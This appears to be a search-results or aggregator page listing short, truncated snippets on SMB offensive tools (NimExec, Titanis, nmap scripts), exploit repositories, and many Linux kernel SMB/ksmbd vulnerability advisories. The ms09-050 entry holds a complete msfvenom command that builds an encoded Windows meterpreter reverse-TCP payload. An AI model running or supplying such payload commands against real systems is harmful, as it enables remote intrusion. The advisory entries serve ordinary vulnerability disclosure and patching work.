NimExec

NimExec Basically, NimExec is a fileless remote command execution tool that uses The Service Control Manager Remote Protocol MS-SCMR. It changes the binary path of a random or given service run by LocalSystem to execute the given command on the target and restores it later via hand-crafted RPC...

Titanis

View the User Guide on the documentation site Introduction Titanis is a library of protocol implementations and command line utilities, written in C, for interacting with Windows environments. It uses .NET 8 and is cross-platform Windows and Linux. Some of the protocols implemented: SMB2 MS-SMB2...

nmap-nse-scripts

Repository for NSE Nmap Scripting Engine development. You will find my scripts including non-official ones, libraries, resources and other related material from my workshops. TODO -Finishing SMB2 NSE library -Currently working on password mangling functionality Paulino Calderon calderonwebsec.mx...

SMB-LINUX-CVE-2025-37899

Use-After-Free Vulnerability in Linux Kernel's ksmbd CVE-2025-37899 Description A use-after-free vulnerability has been discovered in the ksmbd module of the Linux kernel, responsible for implementing the SMB Server Message Block protocol for network file sharing. This vulnerability, identified a...

ms09-050_CVE-2009-3103

ms09-050CVE-2009-3103 CVE-2009-3103 ms09-050 One liner to create/generate a payload for windows msfvenom --arch x86 --platform windows --payload windows/meterpreter/reversetcp LHOST=192.168.1.1 LPORT=4444 --bad-chars “\x00” --encoder x86/shikataganai --iterations 10 --format exe --out /path/ One...

EUVD-2026-108857

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix lease break and ack state handling Do not skip valid lease states containing WRITECACHING when breaking level-II/read leases for writes and truncates. Handle lease break acknowledgments according to the SMB2 rule that...

UBUNTU-CVE-2026-98454

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix create context out-of-bounds reads smb2parsecontexts validates the complete create-context area but does not limit each record to its Next field before dispatching it. A malformed chain can therefore expose bytes...

DEBIAN-CVE-2026-98454

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix create context out-of-bounds reads smb2parsecontexts validates the complete create-context area but does not limit each record to its Next field before dispatching it. A malformed chain can therefore expose bytes...

CVE-2026-98454 smb: client: fix create context out-of-bounds reads

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix create context out-of-bounds reads smb2parsecontexts validates the complete create-context area but does not limit each record to its Next field before dispatching it. A malformed chain can therefore expose bytes...

CVE-2026-98454

A flaw in the Linux kernel SMB client allows a malicious SMB server to trigger out-of-bounds memory reads by sending malformed create context responses. The issue stems from smb2_parse_contexts() failing to limit each record to its Next field, potentially exposing bytes beyond the current context...

CVE-2026-98454 smb: client: fix create context out-of-bounds reads

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix create context out-of-bounds reads smb2parsecontexts validates the complete create-context area but does not limit each record to its Next field before dispatching it. A malformed chain can therefore expose bytes...

PT-2026-116672

In the Linux kernel, the following vulnerability has been resolved: smb: client: close handle after create-context parsing failure SMB2 open accounts a successful CREATE response as a remote open before parsing its create contexts. If smb2 parse contexts rejects malformed context data, SMB2 open...

PT-2026-116673

In the Linux kernel, the following vulnerability has been resolved: smb: client: fix create context out-of-bounds reads smb2 parse contexts validates the complete create-context area but does not limit each record to its Next field before dispatching it. A malformed chain can therefore expose byt...

Astra Linux – Vulnerabilities in Linux 5.10, Linux 5.15, Linux 6.1

In the Linux kernel, the following vulnerabilities have been resolved: smb: client: fixed potential OOBs in smb2ParseContexts Validated offsets and lengths before dereferencing to create contexts in smb2ParseContexts. This fix addresses the following OOPs when accessing invalid create contexts fr...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerabilities have been resolved: ksmbd: Added a WRITEDAC/WRITEOWNER check to the SMB2 SETINFO SECURITY routine. The commit cc57232cae23 "ksmbd: Fix FSCTL permission bypass by adding a permission check for FSCTLSETSPARSE" added a fp-daccess gate to...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: ksmbd: Rejects repeated SMB2 NEGOTIATE requests An unauthenticated client can send multiple successful SMB2 NEGOTIATE requests on one connection before SESSIONSETUP. While the connection is in KSMBDSESSNEEDSETUP,...

Astra Linux – Vulnerability found in Linux 6.1, Linux 5.15

In the Linux kernel, the following vulnerabilities have been resolved: smb/server: fixed a potential null-ptr-deref of leasectxinfo in smb2open A null-ptr-deref will occur when reqoplevel == SMB2OPLOCKLEVELLEASE and parseleasestate returns NULL. This issue was fixed by checking whether...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: smb: Client: Fixed a potential Use-after-Free UAF in smb2isvalidleasebreak. Skipped sessions that are being terminated status == SESEXITING to avoid UAF...

Astra Linux – Vulnerability found in Linux 5.15, Linux 6.1

A issue was discovered in ksmbd within the Linux kernel before version 6.6.10. The smb2getdataarealen function in fs/smb/server/smb2misc.c can lead to an out-of-bounds access via smbstrndupfromutf16, due to improper handling of the relationship between the Name data and the CreateContexts data...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerabilities have been resolved: ksmbd: fixed the bug in the trap in smb2lock. If the lock count is greater than 1, the flags might contain an old value. This issue should be checked using the flags of smb Lock, not those of flags. This could lead to a bug in...